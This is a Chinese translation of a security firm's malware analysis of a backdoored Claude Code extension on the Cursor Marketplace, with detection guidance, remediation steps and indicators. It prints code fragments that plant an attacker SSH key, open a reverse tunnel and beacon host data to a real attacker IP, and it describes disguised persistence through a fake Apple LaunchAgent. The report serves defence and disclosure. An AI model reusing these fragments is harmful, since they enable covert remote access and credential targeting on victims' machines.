跳到正文
Hacker News (official RSS)(phorion.io)·· 10 小時前精選品質評分85

Claude Code VS Code 擴充功能被發現後門

Backdoor in Claude Code for VS Code extension on the Cursor Marketplace

重點導讀

Phorion 發現 Claude Code VS Code 擴充功能在 Cursor Marketplace 中存在後門,能在 macOS、Linux 與 Windows 上持久安裝 SSH 後門。

推薦理由

此事件揭示 IDE 擴充功能可能成為持久後門,提示組織須即時檢查使用此擴充功能的環境並啟動事件回應。

正文 · 中文翻譯

TL;DR

Phorion 已偵測到官方的 Claude Code for VS Code 擴充套件在 Cursor Marketplace 上的後門,該後門會在 macOS、Linux 與 Windows 上安裝持久化的 SSH 後門。本篇文章主要聚焦於 macOS,說明該擴充套件如何嘗試設定 SSH 後門並建立持久化。

組織應立即審查其環境中是否使用 Claude Code for VSCode 2.1.313,並在發現使用該擴充套件時啟動事件回應。

Phorion 發現官方的 Claude Code for VS Code 擴充套件在 Cursor Marketplace 上被駭,該後門擴充套件包含持久化的 Secure Shell (SSH) 後門。Cursor 已將相關版本從其 Marketplace 下架,並從相應的註冊中心拉取 NPM 與 VSCode 版本的 2.1.313。

雖然植入程式包含針對 macOS、Linux 與 Windows 的設定與持久化邏輯,但本文將主要聚焦於 macOS,同時指出其他平臺的關鍵差異與若干實作錯誤。

Cursor Marketplace 為 Cursor 編輯器提供擴充套件。由於擴充套件以 IDE 與執行者的許可權執行,後門擴充套件在其模組載入時即可立即存取本機檔案、原始碼與開發工具。

值得注意的是,Phorion 發現惡意程式在啟用 SSH 時可能存在疏漏。設定邏輯假設能在無 root 許可權下檢查目前的遠端登入狀態。以一般使用者執行時,systemsetup -getremotelogin 會輸出管理員存取錯誤並以狀態 0 退出,而非返回 Off。由於指令碼僅在輸出符合 Off 時才嘗試啟用 SSH,於是整個啟用步驟被跳過。在尚未啟動 SSH 的 Mac 上,這個錯誤會破壞入站存取路徑,儘管 SSH 金鑰與持久化仍會被安裝。

本文將說明後門如何運作、為何 macOS 的檢查失敗,以及您應在整個機群中留意哪些跡象。此惡意載荷的目標是長期互動存取;雖然 SSH 後門漏洞在 macOS 上的影響被減少,但惡意程式仍是一個重大威脅,會安裝持久化並將主機偵測資訊傳回操作者。

感染鏈

Cursor Marketplace 擴充套件

被駭的 extension.js 檔案以注入的立即執行函式表示式 (IIFE) 開頭,並被追加至最小化的擴充套件包前。其餘套件則看起來像標準擴充套件,包含 Claude Code 與 VS Code 字串、正常的 activate 與 deactivate 匯出,以及 UI 程式碼。

注入的前置程式會載入標準的 Node.js 模組 (child_process、fs、os、path、http 與 crypto),並在 Node 載入檔案時即執行,甚至在擴充套件的正常 activate 回呼執行之前。使用者不需與擴充套件互動即可觸發惡意載荷。

階段 1 - 準備 SSH 存取

首先,惡意載荷確保 ~/.ssh 存在,並將攻擊者控制的 Ed25519 公鑰追加至 ~/.ssh/authorized_keys,同時將目錄許可權設為 0700、檔案許可權設為 0600。

此金鑰使用註解 svc-telemetry。在追加前,指令碼會檢查 svc-telemetry 是否已存在於檔案中,而非直接檢查金鑰本身。偵測此行為時,建議檢查公鑰指紋,而非僅依賴註解字串。

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

此處,cur 儲存 authorized_keys 的現有內容,PUB 為嵌入的攻擊者公鑰(此處已隱藏)。

關鍵放置後,任何持有相匹配私鑰的人,只要 SSH 真正執行,便能以該使用者身份驗證。指令碼的下一步嘗試確保本機 SSH 守護程式已啟用並正在監聽:

  • Linux: 嘗試透過 systemctl 啟用並啟動 sshd 或 ssh,若失敗則回退到 service 與 /etc/init.d/。
  • macOS: 檢查遠端登入,若報告 Off,則嘗試透過 sudo -n systemsetup -setremotelogin on 啟用。
  • Windows: 嘗試使用 PowerShell 安裝並啟動 OpenSSH Server。

這些步驟均未包含特權提升漏洞。非互動式 sudo -n 會失敗,除非使用者已經有無密碼 sudo 的快取或已設定,否則從標準使用者環境啟動系統服務不一定成功。

Windows 的程式碼路徑似乎也有自己的錯誤:它將 PowerShell 服務設定命令傳遞給一個輔助函式 (det()),該函式硬編碼 /bin/sh,在標準 Windows 安裝上不會走得太遠。

macOS SSH 邏輯有錯誤嗎?

在 macOS 上,設定可能在執行 sudo 指令之前就遇到問題。指令碼以非提升許可權執行 systemsetup -getremotelogin,並將輸出與 /Off/i 進行比對。僅當輸出包含 Off 時才嘗試啟用遠端登入:

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

請注意,第二條指令 (-setremotelogin on) 使用 sudo -n,而第一條指令 (-getremotelogin) 則沒有。當你以 macOS 的標準使用者執行 systemsetup -getremotelogin 時,會得到以下結果:

You need administrator access to run this tool... exiting!

systemsetup 在沒有管理員許可權時拒絕讀取設定,將錯誤輸出到 stdout,並以狀態 0 結束。惡意程式的 ex() 輔助程式抓取 stdout 並返回:

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

因為輸出為 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 評估為 false。

結果,指令碼跳過 if 區塊,從不執行 sudo -n systemsetup -setremotelogin on。它實際上把「我沒有許可權檢查 SSH 是否關閉」視為「SSH 已經開啟」,這也解釋了為何在擴充功能以正常使用者執行時,無法在程序遠端監控中看到啟用嘗試。

此錯誤可能破壞存取鏈的最後一步。 若 Mac 上尚未啟用遠端登入,外向隧道仍可連線到攻擊者的伺服器,但任何透過隧道轉發回的流量將會碰到本機 22 埠已關閉的狀態。

當然,這並非可依賴的防禦機制。如果使用者已經啟用遠端登入,或之後開啟,後門就已準備就緒。

階段 2 - 建立反向 SSH 隧道

接下來,指令碼以 tunnel 使用者在 22 埠連線到 134.209.82[.]225,建立外向 SSH 連線。為了驗證到攻擊者伺服器,它會解碼另一個嵌入式私鑰:一把未加密的 OpenSSH Ed25519 金鑰,備註為 svc-telemetry-tun。

在調查時,保持兩把金鑰的區分很重要:

  • 加入到 ~/.ssh/authorized_keys(svc-telemetry)的公開金鑰允許攻擊者登入受害者機器。
  • 嵌入式私鑰(svc-telemetry-tun)允許受害者機器連線到攻擊者的隧道伺服器。

指令碼將此隧道金鑰寫入作業系統暫存目錄,檔名以 .stk_ 開頭,接著是主機名稱與主目錄路徑的 MD5 雜湊前十個字元:

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

隧道使用 -R *:0:localhost:22 進行遠端埠轉發。傳遞 0 會要求攻擊者的 SSH 伺服器動態分配監聽埠,並將任何到達該埠的流量透過隧道轉發回受害者機器的 localhost:22:

Affected host -- outbound SSH tunnel --> External SSH server

Operator -- separate connection --> Server's allocated port
                                            |
                                 Through the existing tunnel
                                            |
                                            v
                                  Affected host's SSH:22
                                            |
                                  Login using the planted key

因為隧道使用 -N,它只是保持埠轉發開啟,而不在遠端伺服器執行任何命令。當操作者想要存取該機器時,他們會在自己的伺服器上透過已分配的埠啟動一個獨立的 SSH 連線,並使用第一階段植入的金鑰對受害者本機的 SSH 守護程式進行驗證。這樣就能獲得完整的互動式 Shell 及檔案傳輸功能,而不需要在 JavaScript 本身中處理任何自訂的 C2 指令。

SSH 指令同時傳遞旗標以保持連線靜默且非互動式:關閉主機金鑰檢查,忽略 known_hosts,啟用 BatchMode 與 IdentitiesOnly,keepalive 設為 30 秒(ServerAliveCountMax=3),並開啟 ExitOnForwardFailure。

若安裝了 autossh,指令碼會使用它;否則會回退到標準的 ssh。它將連線包裝在一個分離的重試迴圈中,嘗試間隔 60 秒,並在 Unix 系統上使用 pgrep 以避免啟動重複的初始隧道。由於迴圈已分離,隧道即使在使用者關閉 IDE 後仍會保持開啟。

第三階段 - 維持存取許可權

為了在重新啟動後仍能存取,指令碼會在初始分離隧道之外,設定平臺特定的持久化機制:

平臺檔案持久化機制備註
Linux~/.config/.smt, ~/.config/.smtk寫一個 shell 指令碼,重新建立隧道金鑰並重複迴圈 SSH 連線,然後將一個 @reboot 條目加入使用者的 crontab。在 crontab 檢查中存在一個錯誤,可能在重複執行時清除現有的使用者 cron 工作(詳見下文)。
macOS~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist寫一個使用者 LaunchAgent,執行 /bin/sh ~/.config/.smt 並將 RunAtLoad 與 KeepAlive 設為 true,然後透過 launchctl 載入。以使用者許可權執行,而非以 root LaunchDaemon。
Windows~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd嘗試建立一個名為 SysMon 的排程工作,於啟動時以 SYSTEM 執行。若失敗,則將 sysmon.cmd 放入使用者的啟動資料夾。建立 SYSTEM 工作需要管理員許可權;啟動資料夾的備援以使用者身份於登入時執行。

在 macOS 與 Linux 上,~/.config/.smt 指令碼將隧道私鑰嵌入其中,並在啟動重連迴圈前寫出至 ~/.config/.smtk。

在 macOS 上,LaunchAgent 偽裝為 com.apple.sysmond.plist,位於 ~/Library/LaunchAgents/ 內:

<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

第四階段 - 主機偵測

最後,指令碼收集基本主機偵測資料,並一次性將 beacon 傳回攻擊者的伺服器:

  • 主機名稱、使用者名稱、作業系統平臺與架構
  • 主目錄、目前工作目錄,以及全域 Git 電子郵件 (git config --global user.email)
  • 公開 IP 位址以及各設定階段的狀態旗標(例如是否已加入 SSH 金鑰、使用了哪種持久化方式)
  • 最多 40 個符合 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的環境變數 名稱(非值)

環境變數檢查使用 Object.keys(process.env):

Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

由於它只抓取變數名稱,beacon 並未外洩實際的機密值。相反地,它為操作者快速列出機器上存在哪些雲端憑證或 API 令牌,讓他們知道應優先攻擊哪些主機。

為取得機器的公開 IP,指令碼查詢 ifconfig[.]me,若失敗則回退至 api[.]ipify[.]org。

接著以純文字 HTTP POST 請求將 JSON 報告傳送至 /beacon,同時於 134.209.82[.]225:8099 與 127.0.0.1:8099 兩端:

var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

為何還會將 beacon 複製送至 127.0.0.1:8099 尚不清楚;指令碼本身並未在該埠上設定本地監聽。

beacon 只會以 setTimeout 排程一次(初始設定執行後 1.5 秒),並丟棄任何帶 res.resume() 的 HTTP 回應。它純粹是一次簽到,告知操作者主機已就緒,而 SSH 隧道負責實際存取。

偵測機會

從偵測的角度來看,使用 Endpoint Security Framework (ESF) 監控時,這個流程中有幾個行為在 macOS 上尤為突出。

SSH 金鑰與設定變更

由於惡意程式直接使用 Node 的 fs.appendFileSync 對 ~/.ssh/authorized_keys 追加,僅針對 shell 指令(如 echo 或 tee)觸碰 authorized_keys 的 process‑only 規則無法偵測到。此時檔案變更監控就顯得關鍵:觀察 IDE 助手程式(Code Helper、Cursor Helper 等)建立或寫入 ~/.ssh/authorized_keys。

儘管 IDE 執行檔本身已合法簽署,其擴充功能主機程式卻無權在背景中修改 SSH 認證檔。

雖然也應監控 systemsetup -setremotelogin on,但不要將其作為此攻勢警示的必備條件。正如前述,macOS 上的失效狀態檢查會導致此指令常常根本不會執行。

使用者 LaunchAgent 永久化

macOS 上的持續化設定提供了幾個強有力的線索:

  • 非 Apple 程式寫入帶有 com.apple.* 標籤的 plist(~/Library/LaunchAgents/com.apple.sysmond.plist)。
  • LaunchAgent 被設定為執行 /bin/sh,對應使用者主目錄中隱藏指令碼(~/.config/.smt)。

由於最初的隧道以分離程序方式產生,且 launchd 後續直接管理 .smt,隨後的 ssh 程序在即時程序樹中不會以 IDE 為直接父程序。將 .smt 與 com.apple.sysmond.plist 的檔案建立事件回溯至 IDE 擴充功能主機,可大幅簡化串聯流程。

SSH 隧道與後續存取

從程序與網路面向,請留意:

  • ssh 或 autossh 以遠端埠轉發(-R *:0:localhost:22)啟動,並從 /tmp/.stk_* 或 ~/.config/.smtk 拉取身份檔。
  • 對 134.209.82[.]225 的 22 埠進行外向 SSH 連線,同時向 134.209.82[.]225:8099 傳送 HTTP POST 請求(以及對 127.0.0.1:8099 的連線嘗試)。

若發現此擴充功能執行於某主機,必須確認隧道是否僅被建立,或是否有人透過它實際登入。由於入站會話經由本機埠轉發到來,SSH 日誌中成功登入的紀錄將顯示來自 localhost(127.0.0.1 或 ::1),使用 svc-telemetry 金鑰驗證。

補救措施

僅解除安裝擴充功能不足以移除後門。請確保回應覆蓋其所有階段:

  1. 終止正在執行的隧道程序:結束 /bin/sh 重試迴圈以及任何連線至 134.209.82[.]225 的 ssh 或 autossh 程序。
  2. 移除持續化:在 macOS 上解除安裝並刪除 ~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清理 @reboot cron 條目 / 在 Windows 上刪除 SysMon 排程工作與啟動指令碼),並移除 ~/.config/.smt 與 ~/.config/.smtk。
  3. 清理 SSH 金鑰與狀態:從 ~/.ssh/authorized_keys 移除 svc-telemetry 公鑰,刪除 /tmp/.stk_*,並確認遠端登入(SSH)未被意外啟用。
  4. 輪換憑證:若主機啟用了 SSH,或有入站登入的證據,請輪換任何該使用者帳號可存取的憑證或令牌(尤其符合 KEY|TOKEN|SECRET|PASS|AWS|GCP 環境變數篩選的專案)。

Phorion 的方法

Phorion 預設的偵測覆蓋範圍已標示此攻擊中使用的 macOS 永久化,跨多條規則觸發,包括非 Apple 程式建立 com.apple.* LaunchAgent 與 LaunchAgent 執行隱藏目錄中的 shell 指令碼。

除持續化外,Phorion 的檔案存取監控可捕捉 IDE 擴充功能主機直接修改 ~/.ssh/authorized_keys,且 Phorion Protections 可用來鎖定 ~/.ssh/,確保只有授權的程序能在最初就讀取或修改 SSH 金鑰與設定檔。

如果您想了解 Phorion 如何在您的 Mac 群組中偵測並阻止此類供應鏈威脅,請聯絡我們安排示範。

指標

樣本與公鑰指紋

指標值備註
SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15後門 extension.js 套件
受害者登入公鑰指紋SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk附加於 ~/.ssh/authorized_keys 的 Ed25519 金鑰(備註 svc-telemetry)
隧道公鑰指紋SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ嵌入式 Ed25519 金鑰用於驗證至隧道伺服器(備註 svc-telemetry-tun)

網路指標

指標型別備註
134.209.82[.]225 (TCP 22, user tunnel)IP / SSH外向反向 SSH 隧道伺服器
134.209.82[.]225:8099 (POST /beacon)IP / HTTP外部主機報告信標端點
127.0.0.1:8099 (POST /beacon)迴環 / HTTP本地信標目的地
ifconfig[.]me, api[.]ipify[.]org網域合法服務查詢公開 IP

主機工件

工件平臺備註
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64macOS (Apple Silicon)已安裝擴充功能目錄(<ide> 依編輯器不同)
~/.ssh/authorized_keys (備註 svc-telemetry)全部植入的 Ed25519 公鑰
<TMP>/.stk_<10 hex chars> ($TMPDIR/.stk_* on macOS)全部初始隧道私鑰位於作業系統暫存目錄(字尾為 MD5(hostname + HOME) 前 10 個十六進位字元)
~/.config/.smt and ~/.config/.smtkmacOS, Linux持續性 shell 指令碼與重新建立的隧道私鑰
~/Library/LaunchAgents/com.apple.sysmond.plistmacOS使用者 LaunchAgent 執行 /bin/sh ~/.config/.smt
@reboot cron 條目為 ~/.config/.smtLinux使用者 crontab 持續性
~/.config/smt.cmd and ~/.config/smtkWindows持續性批次指令碼與隧道私鑰
排程工作 SysMonWindows啟動排程工作(請求 SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmdWindows啟動資料夾備援指令碼